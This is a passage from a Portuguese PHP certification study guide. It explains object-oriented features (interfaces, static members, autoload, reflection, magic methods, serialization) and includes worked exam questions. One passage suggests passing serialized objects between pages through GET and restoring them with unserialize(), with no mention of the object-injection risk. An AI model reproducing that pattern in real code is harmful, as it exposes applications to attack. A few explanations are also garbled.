13 $obj = new ClasseConcreta;
14 $obj->fazAlgo();

Nesse exemplo, observe que temos uma classe e um método definidos como abstratos. No caso do
método fazAlgo() da ClasseAbstrata lembre-se que não podem haver implementações nele, assim
sendo você o declara normalmente e termina a declaração com ponto-e-vírgula (;)– sem trabalhar
o corpo do método.
Seguindo o exemplo, em compensação, existe o método Implementa() que possui código.
Ao colocar a palavra-chave abstract em frente ao método, obrigatoriamente ele deve ser imple-
mentado nas classes derivadas.
A classe que estende a classe abstrata é responsável por implementar o método abstrato e deve
reproduzir a assinatura do método, tal como foi estipulada. Significa que o controle de acesso do
método concreto é menos rigoroso do que o método abstrato.
Recapitulando:

• Utilizada para representar conceitos;


• Desenhada para ser superclasse (pai), provendo o esqueleto das classes filhas;
• As funcionalidades são implementadas nas subclasses (filhas), que a estendem – embora aceite
implementação;
• Permite ao desenvolvedor focar na arquitetura;
• Possui métodos abstratos que expõem apenas a assinatura;
• Métodos abstratos não podem conter corpo.

As classes mencionadas como “concretas” implementam a funcionalidade expressa na classe


abstrata. Ao tentar criar um objeto a partir dessa classe, o compilador retorna a mensagem:
Fatal error: Cannot instantiate abstract class Classe.. Ela até pode conter algum método
implementado junto aos demais, mas o objeto só assume as características a partir da classe filha
que extende.
Programação Orientada à Objetos 165

Abaixo segue uma síntese de como funciona a alteração de visibilidade de entidades abstratas para
concretas:
Abstrata Concreta
private protected e public
protected public
public não pode ser redeclarada

As classes abstratas são um misto de interfaces (que veremos adiante) com classes, podendo
especificar o formato e também oferecendo implementação.

Interfaces
Assim como as classes abstratas, as interfaces nos apresentam exclusivamente as assinaturas de
classes e métodos. A interface especifica o modelo puro, sem implementação.
Por conseguinte nos força a seguir um padrão rígido na definição de classes e métodos.
Basta iniciar a construção da classe com a palavra-chave interface e escrever os métodos sem corpo
– apenas fechando a instrução com ponto-e-vírgula.

1 interface classeBase1 {
2 public function fazAlgo();
3 public function funcaoEspecial();
4 }

Qualquer classe que implemente uma interface compromete-se a codificar todos os seus métodos.
Para isso usa-se a palavra reservada implements, com a possibilidade de implementar mais de uma
interface simultaneamente (separando por vírgula).

1 interface classeBase1
2 {
3 public function fazAlgo();
4 public function funcaoEspecial();
5 }
6 interface classeBase2
7 {
8 public function funcaoGenial();
9 }
10 class minhaClasse implements classeBase1,classebase2
11 {
12 function fazAlgo()
Programação Orientada à Objetos 166

13 {
14 echo "Fiz algo";
15 }
16 function funcaoEspecial()
17 {
18 echo "Especial";
19 }
20 function funcaoGenial()
21 {
22 echo "Genial";
23 }
24 }
25
26 $obj = new minhaClasse;
27 $obj->fazAlgo();

A interface é similar a classe, contudo não possui implementação. Importante lembrar que uma
interface pode estender outras interfaces (desde que não haja código).

1 interface classeBaseUm {
2 function fazAlgo();
3 function funcaoEspecial();
4 }
5 interface classeBaseDois extends classeBaseUm
6 {
7 function funcaoGenial();
8 }

Observe no exemplo acima que a visibilidade dos métodos fazAlgo() e funcaoEspecial() foi
omitida, desse modo o PHP assume como public implicitamente – que é um pré-requisito na
construção de interfaces. Visibilidade private e protected não são permitidas nesse contexto.
Outro ponto importante é evitar a colisão de nomes de métodos que foram definidos em interfaces
diferentes, mas implementados pela mesma classe.
Programação Orientada à Objetos 167

1 interface A
2 {
3 function f();
4 }
5
6 interface B
7 {
8 function f();
9 }
10
11 class C implements A, B
12 {
13 function f()
14 {
15 echo "Implementação do método f";
16 }
17 }

Embora não provoque erro, é uma prática totalmente desaconselhável. Caso a assinatura do método
fosse diferente, daí sim geraria um Fatal error: Declaration of C::f() must be compatible
with A::f($arg) in: ....
Veja outro exemplo:

1 interface A
2 {
3 function f($arg);
4 }
5
6 interface B
7 {
8 function f();
9 }
10
11 class C implements A, B
12 {
13 function f()
14 {
15 echo "Implementação do método f";
16 }
17 }

Outro problema é tentar usar um método que não tenha sido implementado na classe concreta,
Programação Orientada à Objetos 168

embora esteja especificado na interface. Ao invocar o método (que apenas existe na sua descrição),
evidentemente, gerará um Fatal error.

Qual dos seguintes itens é um exemplo de polimorfismo?

A: Todos os itens
B: Classes que implementem Design Patterns
C: Qualquer classe que implementa uma interface
D: Qualquer classe que estende a classe pai
E: Uma super classe genérica com implementações específicas nas classes filho

Outro conceito da orientação à objetos é o Polimorfismo que é a capacidade de classes concretas


implementarem de forma diferente uma mesma especificação estabelecida na classe abstrata que
as define. Significa derivar classes de uma mesma superclasse e utilizar métodos iguais, apesar de
comportamentos diferentes.
Logo, a resposta correta dessa pergunta é E: Uma super classe genérica com implementações
específicas nas classes filho.

Recapitulando a ideia de interfaces:

• Uma forma de mostrar os métodos disponíveis e de como acessá-los (possíveis argumentos);


• A interface não permite que haja um corpo (diferentemente da classe abstract que pode
conter implementação);
• Não implementa funcionalidades – apenas descreve o recurso e seus requisitos lógicos;
• A classe pode implementar diversas interfaces simultaneamente (desde que não haja colisão de
nomes de métodos), enquanto que apenas estende uma superclasse (sabe-se que não permite
herança múltipla). Ex.: class nome implements classe1, classe2 { ... };
• Interface pode herdar de outra interface (extends);
• Na definição da interface todos os métodos são públicos.

Que tipo de definição de classe pode ser usada para emular herança múltipla?

A: Class
B: Abstract
C: Interface
D: Final

A resposta aqui é C: Interface. Como já foi dito, uma classe pode implementar várias interfaces.
Programação Orientada à Objetos 169

Caso haja algum referência em interface que não esteja implementada na classe, o PHP pro-
voca um: Fatal error: Class nome contains 1 abstract method and must therefore be de-
clared abstract or implement the remaining methods (Classe::metodo) in.

Explorando um pouco mais as interfaces, vamos analisar o código a seguir:

1 Class Colecao implements IteratorAggregate


2 {
3 protected $itens;
4
5 public function __construct(array $itens)
6 {
7 $this->itens = $itens;
8 }
9 public function getIterator() : iterator
10 {
11 return new ArrayIterator($this->itens);
12 }
13 }
14
15 Class Usuario
16 {
17 public $email;
18 }
19
20 $usrA = new Usuario;
21 $usrA->email = "ari@certificamp.com";
22
23 $usrB = new Usuario;
24 $usrB->email = "arijunior@gmail.com";
25
26 $usuarios = new Colecao([$usrA, $usrB]);
27 foreach($usuarios as $usuario){
28 echo $usuario->email."<br>";
29 }

Na linha 1 a classe Colecao implementa IteratorAggregate que é uma interface para criar um
iterator externo. Na linha 8 o único método que obrigatoriamente deve ser implementado é
getIterator() e devolve um iterator, que pode ser um array ou uma coleção de objetos.

Além da interface IteratorAggregate, temos também Iterator. Lembrando que o “contrato” prevê
que sejam obrigatoriamente implementados os métodos: current(), next(), key(), rewind() e
valid(). Mais informações em: http://php.net/manual/pt_BR/class.iterator.php.
Programação Orientada à Objetos 170

Um comportamento interessante é transformar objetos em arrays. Basta implementar a interface


ArrayAccess e os seus respectivos métodos: offsetExists(), offsetGet(), offsetSet() e offse-
tUnset(). Ex.:

1 class MinhaClasse implements ArrayAccess {


2 //Verifica se uma posição existe
3 function offsetExists($k) { return true; }
4
5 //Posição a ser obtida
6 function offsetGet($k) { return "Ari"; }
7
8 //Atribui um valor a uma posição específica
9 function offsetSet($k, $v) {}
10
11 //Destrói uma posição
12 function offsetUnset($k) {}
13 }
14
15 $x = new MinhaClasse();
16 if(isset($x['qualquercoisa'])){
17 echo "Encontrou"; //SEMPRE será exibida, pois o retorno de offsetExists é true
18 }
19
20 $x[] = "Oi Junior";
21 echo $x[0]; //Mostra "Ari", pois o método offsetGet sempre retorna "Ari"

Outra possibilidade contemplada na versão 7.1 do PHP foi a declaração do tipo de dados iterable
que permite array, objetos da classe ArrayIterator, generator e coleções de objetos. Ex.: public
function disparaEmail(iterable $contas) : void.

Retro-compatibilidade
O método construtor do PHP 4 era uma função com o mesmo nome da classe, invocado automati-
camente quando um objeto fosse instanciado.
Por questões de compatibilidade, esse recurso ainda funciona - embora em modo obsoleto e com
alerta de que será removido muito em breve.
Programação Orientada à Objetos 171

1 class C {
2 function c(){
3 echo "ARI";
4 }
5 function __construct(){
6 echo "arijunior";
7 }
8 }
9 $obj = new C;

Extraordinariamente quando houverem DOIS construtores (nesse caso o método c() e __cons-
truct()), o que teria prioridade na execução seria o __construct(), consequentemente o código
acima exibirá arijunior. Na falta deste, daí sim o c() seria disparado e exibiria ARI.

<?php
class A {
protected $a = 1;
function a() { echo $this->a++; }
}

class B extends A {
protected $a = 10;
function b() { echo $this->a++; $this->a(); }
}

$b = new B;
$b->b();
?>

Qual a saída deste código?

A: 10111213
B: 1011
C: 101
D: 12

Primeiramente vamos observar a instrução:

1 echo $this->a++;

Lembre-se que o PHP escreve o conteúdo da propriedade $a e só depois faz o incremento de uma
unidade, chamado de pós-incremento ($a++).
Programação Orientada à Objetos 172

Mas o fundamental nessa questão é a retro-compatilidade do PHP. Algum desenvolvedor desa-


visado pode esquecer da política que mantém a compatibilidade com o suporte de Orientação à
Objetos do PHP 4, que executa métodos de mesmo nome da classe como se fossem construtores.
Isso significa que ao instanciar a classe B, o método b() será executado automaticamente (exibindo
1011). E depois o método b() é executado explicitamente ($b->b()) exibindo 1213, que concatenado
mostra 10111213 – portanto letra A‘ é a alternativa certa.

Exceções
A classe Exception é um mecanismo para controle de erros mais minucioso que a forma convenci-
onal através de error_reporting(), die() ou flags booleanas.
Oferece diversos níveis de depuração com alto grau de detalhamento, pois qualquer exceção não
tratada é fatal.
O PHP 5+ disponibiliza a classe Exception que pode ser estendida, customizando-a para a sua
aplicação.
Objetos baseados na classe Exception geram thrown que traduzindo significa erros “lançados” e
devidamente capturados - evitando um comportamento inexperado na execução.
Exceções é uma forma elegante de responder a problemas e proporcionando mudanças no fluxo
de execução quando estes ocorrerem. Esse mecanismo dá uma chance de recuperação em casos
anormais.
Então os trechos de código considerados críticos devem ser delimitados por try e catch. Se um
try for disparado, deve haver um catch associado, caso contrário gera Fatal error, interrompendo
abruptamente a execução do script.

1 try{
2 $address_db = Address::load(0);
3 echo '<tt><pre>' . var_export($address_db, TRUE) . '</pre></tt>';
4 }catch (Exception $e){
5 //Obtem a mensagem de "throw new Exception ('mensagem');"
6 echo $e->getMessage();
7 }

Para ver outros métodos disponíveis no objeto $e acesse http://www.php.net/manual/pt_BR/class.


exception.php
Dependendo do problema ocorrido, pode-se invocar um throw diretamente. Ex.:
Programação Orientada à Objetos 173

1 //Certificando de que o argumento é um array


2 if (!is_array($data)) {
3 throw new Exception('O parâmetro deve ser array. Verifique!');
4 }

A versão 5.5 do PHP trouxe uma nova estrutura para controle de exceções: finally.
O finally executa DEPOIS dos blocos try/catch e ANTES da retomada normal do fluxo. Veja o
pseudo-código abaixo onde a coluna da esquerda possui código redundante (desbloqueia tabela),
enquanto que a coluna da direita utiliza o recurso finally tornando a execução mais elegante:

Observe que a instrução desbloqueia tabela aparece duas vezes, tanto no try quanto no catch,
justamente pela necessidade de realizar essa operação quando a execução for bem ou mal sucedida.
Ao utilizar a instrução finally, podemos especificar que essa porção de código executará de
qualquer maneira.
Veja um exemplo de código real, sem a redundância do comando $conexao->exec("UNLOCK TA-
BLES"), na era pré-PHP 5.5:

1 $conexao = new PDO("mysql:host=localhost;dbname=bd", "usuario", "senha");


2
3 //Bloqueia a tabela "clientes" no modo escrita
4 //Garantir acesso exclusivo e aumento de velocidade de UPDATE
5 $conexao->exec("LOCK TABLES clientes WRITE");
6
7 try{
8 $conexao->beginTransaction();
9 $sql = "INSERT INTO clientes (nome, status) VALUES (:nome, :status)";
10 $insercao = $conexao->prepare($sql);
11
12 //Carrega o nodo raiz "clientes" (plural)
13 $clientes = simplexml_load_file('transacoes.xml');
Programação Orientada à Objetos 174

14 //Percorre cada "cliente"


15 foreach ($clientes->cliente as $cliente) {
16 $insercao->bindParam(":nome", $cliente->nome);
17 $insercao->bindParam(":status", $cliente->status);
18 //Executa uma declaração SQL previamente preparada
19 $insercao->execute();
20 }
21 $conexao->commit();
22 }
23 catch (Exception $e){
24 //Se algo der errado, NADA é inserido
25 $conexao->rollBack();
26 }
27 finally {
28 //Libera o uso das tabelas
29 $conexao->exec("UNLOCK TABLES");
30 }

Métodos e atributos estáticos


Outro modificador importante é o static que torna os recursos acessíveis SEM a necessidade de
instanciar o objeto. Isso ocorre quando certas operações estão auto-contidas ou exigem única e
exclusivamente de seus próprios argumentos.
static provê acesso aos atributos e métodos da classe sem o overhead de instanciá-las. Como
exemplo podemos citar as conexões com banco de dados ou o uso serviços.
Ao tentar acessar através de um objeto, provocará erro: Notice: Undefined property: Classe::$atributo.
O token ::, também conhecido como operador de resolução de escopo, proporciona acesso aos
elementos apontados como static.

1 class Classe
2 {
3 static $bar = "Variável";
4 const bar = "Constante";
5 static public function bar()
6 {
7 echo "Método";
8 }
9 }
10 echo Classe::$bar;
11 echo Classe::bar;
12 echo Classe::bar();
Programação Orientada à Objetos 175

Essa opção existe especialmente para disponibilizar atributos e métodos que independem do estado
do objeto, facilitando a leitura do código.
Os dois-pontos dois-pontos ou double colon é muitas vezes referenciado como Paamayim Nekudo-
tayim⁵⁷.
No uso de recursos static utilize self para chamar, internamente a classe, uma propriedade e
método estático - ao invés de $this.

<?php
class myClass {
public $member = "ABC";
static function showMember() {
var_dump($this->member);
}
}
myClass::showMember();
?>

Qual a saída do código acima?

A: Null
B: string(3)"ABC"
C: string(0)""
D: Nenhuma das alternativas

A resposta correta dessa questão é D: Nenhuma das alternativas, pois no contexto static é preciso
utilizar a palavra-chave self::$member (e não $this->member) – desde que $member seja estático
também.

1 class ExemploEstatico {
2 static public $idademinima = 5;
3 static public function Exibe(){
4 return "Bem-vindo";
5 }
6 }
7
8 echo ExemploEstatico::$idademinima;
9 echo ExemploEstatico::Exibe();

⁵⁷Paamayim Nekudotayim significa dois pontos duplos (double colon) em hebraico, idioma falado na terra natal de Andi Gutmans e Zeev Suraski
- fundadores da Zend Technologies.
Programação Orientada à Objetos 176

Nesse exemplo o script mostra 5 (valor contido no atributo $idademinima) e Bem-vindo que é a saída
do método Exibe().
Para acessar a propriedade idademinima e o método Exibe, utilizamos o operador de resolução de
escopo :: também conhecido como Paamayim Nekudotayim. Enfatizo esse nome em hebraico, pois
geralmente cai no exame.
Tal construção é útil quando certas operações estão auto-contidas ou exigem única e exclusivamente
de seus argumentos.
Observe a sutileza desse próximo exemplo. Ex.:

1 class Classe {
2 static $elemento = "Variável";
3 const elemento = "Constante";
4 static public function elemento()
5 {
6 return "Método";
7 }
8 }
9 echo Classe::$elemento;
10 echo Classe::elemento;
11 echo Classe::elemento();

Perceba que as constantes de classe também se utilizam de :: (double colon). Embora o atributo
(variável), constante e método (função) tenham exatamente o mesmo nome, eles são estruturas de
dados e propósitos totalmente distintos.
Nesse caso o resultado seria: VariávelConstanteMétodo.
Jamais tente acessar propriedades estáticas por meio do operador de resolução de escopo ->. Ex.:

1 $obj = new Classe;


2 echo $obj->elemento;

Essa atitude resultará em: Strict Standards: Accessing static property Classe::$elemento
as non static in...

No contexto de objeto, ao manipularmos atributos ou invocarmos métodos, utilizamos a pseudo-


variável $this->. Mas para acessar métodos e propriedades estáticas a partir do interior de uma
classe, usamos a palavra reservada self::.
Programação Orientada à Objetos 177

1 class ExemploEstatico{
2 static public $idademinima = 5;
3 static public $passeio = "Tour Uva e Vinho";
4 static public function Exibe(){
5 if(self::$passeio=="Tour Uva e Vinho")
6 {
7 self::$idademinima++;
8 echo "Idade mínima é ".self::$idademinima." anos.";
9 }
10 }
11 }
12
13 echo ExemploEstatico::Exibe();

Lembre-se de utilizar o $ (cifrão) no nome do atributo, caso contrário diz respeito a constantes.
A vantagem de utilizarmos static é na facilidade de leitura do código e menor consumo de poder
computacional.

Late Static Binding


Se a classe pai tem um método estático que usa self:: para referenciar um método sobrescrito na
classe filha, ao chamar o método da subclasse ele invoca a versão da superclasse (ao invés da filha).
Por isso self não segue as regras de herança. A palavra reservada self sempre se resolve na classe
em que é usada. Significa que se você implementou um método na classe pai e chama-o a partir da
classe filha, self não irá referenciar a filha como esperado.
Para evitar esse resultado indesejado, utiliza-se a própria palavra-chave static como identificador
(ao invés de self).
LSB (acrônimo de Late Static Binding) determina, em tempo de execução, qual é a classe corrente.
Pois analisa o contexto, independentemente de onde foi definida.
A partir do PHP 5.3 se resolve um problema que ocorria na herança de métodos estáticos, já que
métodos chamados através de self são procurados na própria classe em que estão sendo invocados.
Programação Orientada à Objetos 178

Ao utilizar a palavra reservada self há um resultado estranho, logo o código vai exibir Atividade
que é o retorno do método exibeNome() da classe pai - sendo que self deveria invocar o método da
própria classe que o está chamando - nesse caso a classe filha Passeio.
Para evitar esse efeito colateral, substitua no código a palavra self por static, daí ele vai se
comportar adequadamente, exibindo o retorno de exibeNome() da classe Passeio.

Autocarga (Autoload)
Autoload é a autocarga de classes feita sob-demanda. Este processo é também conhecido como lazy
loading.
Com ela é possível fazermos a carga das classes a medida em que as instanciamos. Dessa forma não
precisamos carregar todas as classes assim que o script PHP é executado, economizando recurso
computacional e acelerando a execução do código.
Programação Orientada à Objetos 179

1 function __autoload($c)
2 {
3 include_once "./_classes/".$c.".class.php";
4 }
5 $obj = new minhaClasse(); //carrega o arquivo ./_classes/minhaClasse.class.php

O parâmetro da função __autoload é o nome da classe requisitada. Nessa implementação, toda


vez que new for executado, a respectiva classe será passada como argumento da função __autoload
(nesse caso o $c) e ela fará a carga do script somente quando necessário – sem sobrecargar o sistema.
Autoloader é uma estratégia de busca de classes, interfaces ou traits para carregá-los sob demanda
pelo interpretador PHP - sem necessariamente explicitar os arquivos que deverão ser incorporados
(manualmente via include ou require). É uma prática altamente recomendada para localizar e
carregar recursos.
Recapitulando:

• A função __autoload() é definida externamente a classe;


• Minimiza require e includes no código, para a carga de recursos externos;
• Uma aplicação pode conter centenas de classes e carregá-las manualmente geraria grande
esforço;
• As classes devem estar contidas nos seus respectivos arquivos, sob o mesmo esquema de
nomes;
• A convenção sugere que as classes tenham iniciais maiúsculas (camel case).

1 Qual das seguintes linhas de código NÃO vai disparar o auto-carregamento da clas\
2 se Nemo se ela não estiver definida?
3
4 A: $a = new Nemo();
5 B: echo Nemo::$a;
6 C: class Captain extends Nemo {}
7 D: $b = $a instanceof Nemo;

A alternativa A é a mais evidente e invoca a classe Nemo caso ela já não esteja disponível. A opção B
solicita um atributo estático $a da classe Nemo e também faz a auto-carga. Na alternativa C a classe
Captain é filha de Nemo que, por sua vez, requisita ao __autolad() a respectiva classe.

Por fim, o operador instanceof retorna true ou false caso os operandos sejam instâncias de mesma
classe ou de classes filhas com mesmo pai. Mas o operador não é suficiente para realizar a carga
automática por autoload - é necessário primeiramente instanciar.
Programação Orientada à Objetos 180

1 A função `__autoload()` foi amplamente discutida no guia, pois o exame vigente (\


2 200-710 baseado no PHP 7.1) ainda aborda esse recurso. Importante mencionar que \
3 tornou-se **obsoleto** na versão 7.2 lançada no dia 30/11/2017, dando preferênci\
4 a ao `spl_autoload_register()`[^autoloader].

Reflexão
Reflection é uma API que expõe a introspecção de código.
É uma coleção de funções e objetos para examinar o conteúdo do script, como uma “engenharia
reversa” de classes, interfaces, funções, métodos e extensões.
É a habilidade de um programa observar e modificar sua própria estrutura.
A partir da versão 5.3 do PHP a extensão reflection é habilitada por padrão.
Com ela é possível também resgatar comentários/documentação de funções, classes e métodos.
Considere a definição de classes a seguir:

1 interface Atividade
2 {
3 public function obtemDesconto($cd);
4 }
5
6 class Passeio implements Atividade
7 {
8 public $nome;
9 public $preco;
10 public $desconto;
11 public function __construct($n)
12 {
13 $this->nome = $n;
14 $this->desconto = 10; //percentual
15 }
16
17 /**
18 * Método que abate ou não um desconto percentual
19 *
20 * @param integer $com_desconto Valor percentual para cálculo do desconto
21 *
Programação Orientada à Objetos 181

22 * @return number
23 */
24 public function obtemDesconto($com_desconto)
25 {
26 $valor = 0;
27 if($com_desconto){
28 $valor = $this->preco * $this->desconto / 100;
29 $this->preco -= $valor;
30 }
31 return $valor;
32 }
33 }

E agora iremos inspecionar a nossa classe através da ReflectionClass e de seus diversos métodos:

1 $tour_gramado = new Passeio("Tour Gramado");


2 $tour_gramado->preco = 120;
3 echo $tour_gramado->obtemDesconto(true);
4 echo $tour_gramado->preco;
5
6 //Reflexão
7 $reflexao = new ReflectionClass('Passeio');
8 //Resgata que interface(s) a classe Passeio implementa
9 $interfaces = $reflexao->getInterfaces();
10 //Resgatando a propriedade "preco"
11 $propriedade = $reflexao->getProperty('preco');
12 //Alterando a acessibilidade/visibilidade da propriedade
13 $propriedade->setAccessible(false);
14 //Alterando o valor da propriedade em um determinado objeto
15 $propriedade->setValue($tour_gramado, 145);
16 //Obtem a lista de métodos disponíveis
17 $todos_metodos = $reflexao->getMethods();
18 //Resgatando o método obtemDesconto
19 $metodo = $reflexao->getMethod('obtemDesconto');
20 //Resgatando os parâmetros do método obtemDesconto
21 $parameters = $metodo->getParameters();
22 //Resgatando os comentários/documentação do método
23 $phpDoc = $metodo->getDocComment();
Programação Orientada à Objetos 182

Que código pode ser usado para criar um objeto da classe MyClass em $a?

A: $a = new ReflectionObject("MyClass");
B: $c = new ReflectionClass("MyClass"); $a = $c->newInstance();
C: $a = ReflectionMethod::invoke(array("MyClass", "__construct"));
D: $m = new ReflectionMethod("MyClass", "__construct"); $a = $m->invoke(null);

A alternativa correta é B, pois que o método newInstance(), como o nome já explicita, instancia a
respectiva classe passando os argumentos ao construtor dela. Ex.:

1 $c = new ReflectionClass("MyClass");
2 $a = $c->newInstance();

Indução de tipo (Type Hinting)


Antes de adentrarmos a indução de tipo (type hinting), vamos falar sucintamente sobre a conversão
de tipos (type casting) no contexto da orientação à objetos, que permite transformar um array em
um objeto padrão (baseado na stdClass). Tais índices serão as propriedades do objeto, armazenando
seus respectivos valores vindos do array.

1 $vetor = array(
2 'nome' => 'Ari Junior',
3 'email' => 'arijunior@gmail.com'
4 );
5 $objeto1 = (object)$vetor; //Cria um objeto stdClass
6 echo var_export($objeto1, true);

Lembre-se na prova que podemos facilmente converter o array $vetor em um objeto padrão, sendo
que os índices serão propriedades contendo seus valores (atribuídos previamente no vetor).
Mas voltando ao Type Hinting, assunto principal desse capítulo, podemos induzir os tipos de dados
passados como argumentos de métodos e funções.
Atualmente a indução de tipos suporta objetos, arrays e callable (que representam callbacks⁵⁸).
Se o tipo de dado não for compatível com a “dica de tipo” sugerida, gera um erro fatal.

⁵⁸Funções anônimas, também conhecidas como closures, que permitem a criação de funções sem nome - particularmente úteis como valor de
parâmetros e atribuição de variáveis.
Programação Orientada à Objetos 183

1 class MinhaClasse1 {}
2 class MinhaClasse2 {}
3 function facaAlgo(MinhaClasse1 $c) {}
4
5 $c1 = new MinhaClasse1;
6 $c2 = new MinhaClasse2;
7
8 facaAlgo($c1); //ok
9 facaAlgo($c2); //Fatal error

Ao lidar com objetos, é permitido que o objeto passado como parâmetro seja uma instância da classe
herdada de outra.

1 class MinhaClasse1 {}
2 class MinhaClasse2 extends MinhaClasse1 {}
3 function facaAlgo(MinhaClasse1 $c) {}
4
5 $c1 = new MinhaClasse1;
6 $c2 = new MinhaClasse2;
7
8 facaAlgo($c1); //ok
9 facaAlgo($c2); //ok

Constantes de Classe
As constantes são propriedades que nunca mudam o seu conteúdo. Ex.: códigos de erro interno.
São representadas, segundo as melhores práticas, geralmente por todas as letras em maiúscula. Ex.:
MAIUSCULAS_SEP_POR_UNDERSCORE.
Devem conter valores simples como string, booleano e inteiro e atribuídas na especificação da
classe (ex.: const IDADE_MAX_NAO_PAGANTE = 6;), acessíveis posteriormente (quando instanciadas)
através da sintaxe NomeDaClasse::IDADE_MAX_NAO_PAGANTE.
As constantes que operam sob o paradigma OO são consideradas mais rápidas que as constantes
convencionais, criadas ao estilo define(CONSTANTE, 'val'). Veja um exemplo:

1 class Classe
2 {
3 const BAR = "Constante";
4 }

Lembrando que a função define() (na programação imperativa) pode receber ainda um terceiro
parâmetro boolean onde true habilita o case-insensitive. Ou seja: NOMECONSTANTE se iguala a
nomeconstante ou NomeConstante.
Programação Orientada à Objetos 184

<?php
class Eu {
const NOME = "Ari";
}
class MiniEu extends Eu {}
echo MiniEu::NOME;

Qual a saída do código acima?

A: Ari
B: MiniEu::NOME
C: Nada
D: NOME
E: Fatal error

Veja que a classe MiniEu herda recursos de Eu, sendo que Eu (classe pai) possui uma constante
chamada NOME contendo Ari. Ao requisitar NOME de MiniEu, naturalmente o resultado será Ari, pois
é uma característica da herança. Então a opção correta é A: Ari.

Métodos mágicos
Os métodos mágicos disparam quando ocorrer uma ação específica no objeto. Iniciam por __ (dois
underscores) seguidos de letras e tem escopo público. Mediante um evento, certo método mágico
dispara automaticamente (quando existir).
São úteis, por exemplo, para inicializar ou finalizar dados de objetos, proceder acesso à métodos e
atributos não definidos ou converter objetos para uma representação textual.

A classe minhaClasse contém o método __toString().


$c é uma instância de minhaClasse.
Quais declarações vão executar __toString()?
[ escolha as alternativas corretas ]

A: print $c;
B: echo "$c";
C: print(string)$c;
D: echo '(',$c,')';
E: print '('.$c.')';
Programação Orientada à Objetos 185

Nesse questão TODAS são corretas, pois tanto print quanto echo disparam o método __toString().
Para ilustrar, ao tentar exibir um objeto diretamente (através de echo ou print), instantaneamente
o método mágico __toString() é disparado. Na implementação do método é importante que a
mensagem seja formatada com return. Ex.:

1 class Passeio {
2 public function __toString()
3 {
4 return "Método mágico toString";
5 //se utilizar echo ao invés de return gera um Recoverable fatal error
6 }
7 }
8 $obj = new Passeio;
9 echo $obj;

Outro método mágico interessante é __invoke(), invocado quando o objeto é chamado em forma
de função. Ex.:

1 class Passeio {
2 public function __invoke()
3 {
4 echo "Passeando";
5 }
6 }
7
8 $obj = new Passeio();
9 $obj(); // Passeando

Ao acessar propriedades não existentes de uma classe, seja para ler ou atribuir valor, os métodos
mágicos invocados serão respectivamente __get() e __set().
Uma implementação possível seria:
Programação Orientada à Objetos 186

1 class Passeio {
2 private $preco = "89";
3 private $desconto_idoso = "20";
4
5 public function __get($x)
6 {
7 return (isset($this->$x) ? $this->$x : null);
8 }
9 public function __set($x, $valor)
10 {
11 $this->$x = $valor;
12 }
13 }
14
15 $obj = new Passeio();
16 $obj->idade_min = 6; //$idade_min NÃO EXISTE, então será incorporado ao objeto
17 echo $obj->idade_min;

Ao tentar acessar um método inexistente, o PHP executa um método especial __call (se houver).
Ex.:

1 class Passeio {
2 private $roteiro = "Gramado";
3
4 public function __call($nome, $params)
5 {
6 if($nome == "MostrarRoteiro"){
7 echo $this->roteiro;
8 }
9 }
10 }
11
12 $obj = new Passeio();
13 $obj->MostrarRoteiro(); //MostrarRoteiro NÃO EXISTE, então invoca __call

O PHP reserva quinze funções especiais (métodos sempre começando por dois sublinhados __) que
podem ser explicitamente implementados na respectiva classe, de modo a realizar alguma tarefa
especial idealizada pelo desenvolvedor.
Ao executar ações em objetos, podem haver métodos associados à eles que serão automaticamente
disparados.
Programação Orientada à Objetos 187

Exemplo de comando Método invocado Descrição


echo $obj; __toString() Permite que uma classe decida como se
comportar quando convertida para uma
string
$obj(); __invoke() Invocado quando o objeto é chamado
em forma de função
$obj1 = clone $obj2 __clone() Customiza a clonagem de um objeto
$obj->metodoInexistente(); __call() Caso o método desejado não exista ou
seja inacessível (mediante sua
visibilidade)
Classe::metodoEstaticoInexistente(); __callStatic() Manipula chamadas de métodos
estáticos não existentes ou inacessíveis
serialize($obj); __sleep() Ao disparar a função serialize(), o
método mágico __sleep() é invocado
unserialize($obj); __wakeup() Intercepta o disparo da função
unserialize()
isset($obj) OU empty($propriedade) __isset() Dispara quando houver teste de
inicialização de objetos ou propriedades
unset($obj) __unset() É invocado ao utilizar a função unset()
em objetos e propriedades
$obj = new classe; __construct() Instanciar uma classe
$obj = null; __destruct() Destruir um objeto
echo $obj->atributoInexistente; __get() Obter um propriedade inexistente na
classe
$obj->atributoInexistente = x; __set() Atribuir uma propriedade inexistente na
classe
var_export($obj, true); __set_state() É um método estático que recebe um
array de atributos como argumento,
disparado quando var_export() for
chamada
var_dump($obj); __debugInfo() Incorporado na versão 5.6, podemos
personalizar a saída quando o var_dump
for chamado

Observe que há uma inconsistência no nome do método __set_state se comparado ao __toString.


Um possui sublinhado como separador, enquanto o outro foi implementado em lowerCamelCase.
São inconsistências próprias do PHP, então recomendo acostumar-se.
Para que possamos persistir objetos em banco de dados ou transmitir pela rede para uso em outro
software, pode ser interessante convertê-lo em uma seqüência linear de bytes.
A função que transforma um objeto em memória numa string é o serialize(): Ex.:
Programação Orientada à Objetos 188

1 $obj = new stdClass;


2 $obj->nome = "Ari";
3 $obj->curriculo = "ZCPE";
4
5 $s = serialize($obj);
6 echo $s; //O:8:"stdClass":2:{s:4:"nome";s:3:"Ari";s:9:"curriculo";s:4:"ZCPE";}

Você pode aplicar a função serialize() em arrays. Veja esse exemplo:

1 $s = serialize(array(1, 2, "Ari"));
2 //$s = "a:3:{i:0;i:1;i:1;i:2;i:2;s:3:"Ari";}"

Nesse formato, podemos transmitir tal elemento para outra página (via GET, por exemplo) e
remontar o objeto através da função inversa chamada unserialize(). Ex.: $objeto = unseria-
lize($string);.

Não é recomendado que se utilize esse tipo de transformação para persistir objetos em banco de
dados relacional. Para tanto, utilize um mecanismo de ORM (Object Relational Mapping) que foge
do escopo desse guia.
Continuando no âmbito da programação orientada à objetos, temos dezenas de funções que nos
auxiliam no desenvolvimento. Dentre elas:
Função Descrição
get_object_vars($obj) Obtém os atributos públicos de um
objeto
get_class_vars($class) Obtém os atributos públicos de uma
classe
get_class_methods(get_class($obj)) Obtém o nome dos métodos da
respectiva classe, obtida através de
get_class
is_subclass_of($obj, $class) Verifica se o objeto tem esta classe como
uma de suas classes pai
get_parent_class($obj) Recupera o nome da classe pai do objeto
interface_exists($intfc) Verifica se uma interface foi definida
is_a($obj, $class) Verifica se o objeto é de uma classe ou de
sua classe pai
method_exists($obj,$method) Checa se o método da classe existe
property_exists($class,$property) Checa se o objeto ou a classe tem tal
propriedade
Programação Orientada à Objetos 189

Padrões de Projetos
Os Padrões de Projetos, internacionalmente conhecidos como Design Patterns, são soluções reusáveis
